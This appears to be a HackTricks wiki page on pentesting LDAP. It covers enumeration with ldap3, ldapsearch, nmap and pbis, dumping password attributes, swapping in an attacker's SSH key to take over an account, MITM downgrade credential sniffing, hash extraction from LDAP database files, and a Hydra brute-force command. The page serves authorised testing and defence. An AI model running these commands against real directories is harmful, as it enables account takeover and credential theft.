HackTricks
Search…
Pentesting
Powered By GitBook
389, 636, 3268, 3269 - Pentesting LDAP

Basic Information

LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
An LDAP directory can be distributed among many servers. Each server can have a replicated version of the total directory that is synchronized periodically. An LDAP server is called a Directory System Agent (DSA). An LDAP server that receives a request from a user takes responsibility for the request, passing it to other DSAs as necessary, but ensuring a single coordinated response for the user.
An LDAP directory is organized in a simple "tree" hierarchy consisting of the following levels:
    The root directory (the starting place or the source of the tree), which branches out to
    Countries, each of which branches out to
    Organizations, which branch out to
    Organizational units (divisions, departments, and so forth), which branches out to (includes an entry for)
    Individuals (which includes people, files, and shared resources such as printers)
Default port: 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.
1
PORT STATE SERVICE REASON
2
389/tcp open ldap syn-ack
3
636/tcp open tcpwrapped
Copied!

LDAP Data Interchange Format

LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename).
1
dn: dc=local
2
dc: local
3
objectClass: dcObject
4
5
dn: dc=moneycorp,dc=local
6
dc: moneycorp
7
objectClass: dcObject
8
objectClass: organization
9
10
dn ou=it,dc=moneycorp,dc=local
11
objectClass: organizationalUnit
12
ou: dev
13
14
dn: ou=marketing,dc=moneycorp,dc=local
15
objectClass: organizationalUnit
16
Ou: sales
17
18
dn: cn= ,ou= ,dc=moneycorp,dc=local
19
objectClass: personalData
20
cn:
21
sn:
22
gn:
23
uid:
24
ou:
26
phone: 23627387495
Copied!
    Lines 1-3 define the top level domain local
    Lines 5-8 define the first level domain moneycorp (moneycorp.local)
    Lines 10-16 define 2 organizational units: dev and sales
    Lines 18-26 create an object of the domain and assign attributes with values

Basic Enumeration

Manual

You can try to enumerate a LDAP with or without credentials using python: pip3 install ldap3
First try to connect without credentials:
1
>>> import ldap3
2
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
3
>>> connection = ldap3.Connection(server)
4
>>> connection.bind()
5
True
6
>>> server.info
Copied!
If the response is True like in the previous example, you can obtain some interesting data of the LDAP (like the naming context or domain name) server from:
1
>>> server.info
2
DSA info (from DSE):
3
Supported LDAP versions: 3
4
Naming contexts:
5
dc=DOMAIN,dc=DOMAIN
Copied!
Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory:
1
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
2
True
3
>> connection.entries
Copied!
Or dump the whole ldap:
1
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
2
True
3
>>> connection.entries
Copied!

Automated

Using this you will be able to see the public information (like the domain name):
1
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Copied!

Write data

Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you can change the "sshPublicKey" information of your user or any user. It's highly probable that if this attribute exist, then ssh is reading the public keys from LDAP. If you can modify the public key of a user you will be able to login as that user even if password authentication is not enabled in ssh.
1
>>> import ldap3
2
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
3
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
4
>>> connection.bind()
5
True
6
>>> connection.extend.standard.who_am_i()
7
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
8
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= [email protected]'])]})
Copied!

Clear text credentials

If LDAP is used without SSL you can sniff credentials in plain text in the network.
Also, you can perform a MITM attack in the network between the LDAP server and the client. Here you can make a Downgrade Attack so the client with use the credentials in clear text to login.
If SSL is used you can try to make MITM like the mentioned above but offering a false certificate, if the user accepts it, you are able to Downgrade the authentication method and see the credentials again.

Valid Credentials

If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:
1
pip3 install ldapdomaindump
2
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Copied!

Manual

ldapsearch

Check null credentials or if your credentials are valid:
1
ldapsearch -x -h <IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TDL>"
2
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TDL>"
Copied!
1
## CREDENTIALS NOT VALID RESPONSE
2
search: 2
3
result: 1 Operations error
4
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
5
tion a successful bind must be completed on the connection., data 0, v3839
Copied!
If you find something saying that the "bind must be completed" means that the credentials arr incorrect.
You can extract everything from a domain using:
1
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TDL>"
2
-x Simple Authentication
3
-h LDAP Server
4
-D My User
5
-w My password
6
-b Base site, all data from here will be given
Copied!
Extract users:
1
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
2
#Example: ldapsearch -x -h <IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
Copied!
Extract computers:
1
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TDL>"
Copied!
Extract my info:
1
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
Copied!
Extract Domain Admins:
1
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
Copied!
Extract Domain Users:
1
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
Copied!
Extract Enterprise Admins:
1
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
Copied!
Extract Administrators:
1
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"
Copied!
Extract Remote Desktop Group:
1
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"
Copied!
To see if you have access to any password you can use grep after executing one of the queries:
1
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
Copied!
Please, notice that the passwords that you can find here could not be the real ones...

pbis

You can download pbis from here: https://github.com/BeyondTrust/pbis-open/ and it's usually installed in /opt/pbis. Pbis allow you to get basic information easily:
1
#Read keytab file
2
./klist -k /etc/krb5.keytab
3
4
#Get known domains info
5
./get-status
6
./lsa get-status
7
8
#Get basic metrics
9
./get-metrics
10
./lsa get-metrics
11
12
#Get users
13
./enum-users
14
./lsa enum-users
15
16
#Get groups
17
./enum-groups
18
./lsa enum-groups
19
20
#Get all kind of objects
21
./enum-objects
22
./lsa enum-objects
23
24
#Get groups of a user
25
./list-groups-for-user <username>
26
./lsa list-groups-for-user <username>
27
#Get groups of each user
28
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
29
30
#Get users of a group
31
./enum-members --by-name "domain admins"
32
./lsa enum-members --by-name "domain admins"
33
#Get users of each group
34
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
35
36
#Get description of each user
37
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
38
echo "$line";
39
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
40
echo "======================"
41
done
Copied!

Graphical Interface

Apache Directory

jxplorer

You can download a graphical interface with LDAP server here: http://www.jxplorer.org/downloads/users.html
By default is is installed in: /opt/jxplorer

Authentication via kerberos

Using ldapsearch you can authenticate against kerberos instead of via NTLM by using the parameter -Y GSSAPI

POST

If you can access the files where the databases are contained (could be in /var/lib/ldap). You can extract the hashes using:
1
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
Copied!
You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').

Configuration Files

    General
      containers.ldif
      ldap.cfg
      ldap.conf
      ldap.xml
      ldap-config.xml
      ldap-realm.xml
      slapd.conf
    IBM SecureWay V3 server
      V3.sas.oc
    Microsoft Active Directory server
      msadClassesAttrs.ldif
    Netscape Directory Server 4
      nsslapd.sas_at.conf
      nsslapd.sas_oc.conf
    OpenLDAP directory server
      slapd.sas_at.conf
      slapd.sas_oc.conf
    Sun ONE Directory Server 5.1
      75sas.ldif

HackTricks Automatic Commands

1
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
2
Port_Number: 389,636 #Comma separated if there is more than one.
3
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
4
5
Entry_1:
6
Name: Notes
7
Description: Notes for LDAP
8
Note: |
9
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
10
11
https://book.hacktricks.xyz/pentesting/pentesting-ldap
12
13
Entry_2:
14
Name: Banner Grab
15
Description: Grab LDAP Banner
16
Command: nmap -p 389 --script ldap-search -Pn {IP}
17
18
Entry_3:
19
Name: LdapSearch
20
Description: Base LdapSearch
21
Command: ldapsearch -h {IP} -x
22
23
Entry_4:
24
Name: LdapSearch Naming Context Dump
25
Description: Attempt to get LDAP Naming Context
26
Command: ldapsearch -h {IP} -x -s base namingcontexts
27
28
Entry_5:
29
Name: LdapSearch Big Dump
30
Description: Need Naming Context to do big dump
31
Command: ldapsearch -h {IP} -x -b "{Naming_Context}"
32
33
Entry_6:
34
Name: Hydra Brute Force
35
Description: Need User
36
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Copied!
Last modified 28d ago